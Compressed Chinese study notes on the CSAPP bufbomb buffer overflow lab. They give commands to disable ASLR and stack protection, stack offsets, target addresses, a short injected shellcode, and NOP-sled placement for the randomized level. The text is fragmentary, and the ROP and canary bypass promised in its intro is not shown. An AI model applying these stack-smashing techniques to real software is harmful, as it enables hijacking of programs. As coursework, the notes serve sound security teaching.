經典 CSAPP Buffer Overflow Lab 實戰筆記,通過注入 Shellcode/ROP 鏈覆蓋返回位址,逐級突破 ASLR、Stack Canary、NX 等防護。
# 關閉 ASLR (實驗程式似經特殊處理可不關)
sysctl -w kernel.randomize_va_space=0
# 編譯選項開啟可執行棧
gcc -z execstack -fno-stack-protector ...
getbuf 棧框:buf 在 ebp-0x28,返回位址在 ebp+4,距離 44 Bytes。smoke 函數位址 (0x08048c18)。./hex2raw < level0-smoke-hex.txt | ./bufbomb -u userfizz(int cookie) 需要參數等於 cookie。fizz 位址 + 4B 偽返回位址 + 4B cookie 值。global_value 為 cookie 後跳轉 bang。push $0x08048c9d # bang 位址入棧
mov $0x3955ae84, %eax # cookie
mov %eax, 0x804d100 # global_value = cookie
ret # 跳轉 bang
buf 開頭,返回位址指向 buf。getbuf 返回 cookie 給 test,不可破壞 test 棧框。ebp、設定返回值 eax=cookie、返回 test 後續指令 (0x08048dbe)。-n 參數啟用 getbufn,ebp 隨機 (模擬環境變數)。buf 位址隨機 5 次,最大 0x556836c8。buf 前部,Shellcode 置後,返回位址指向 NOP 區最高位址。buf 到返回位址距離 0x20c,Shellcode 15B,填充 0x20c-15 個 NOP。./hex2raw -n < level4-hex.txt | ./bufbomb -u user -n (需連續 5 次成功)。| 技術 | 說明 |
|---|---|
| 棧溢出原理 | 局部緩衝區無邊界檢查,覆蓋 saved ebp + 返回位址 |
| Shellcode 注入 | 將機器碼放入緩衝區,劫持控制流跳轉執行 |
| NOP Sled | 滑板指令增加著陸區容忍度,應對地址隨機化 |
| 棧框恢復 | Level 3/4 需手動恢復 ebp/esp 確保 caller 正常返回 |
| 防護機制 | ASLR(位址隨機)、Canary(棧守護)、NX/DEP(不可執行棧)、PIE(代碼隨機) |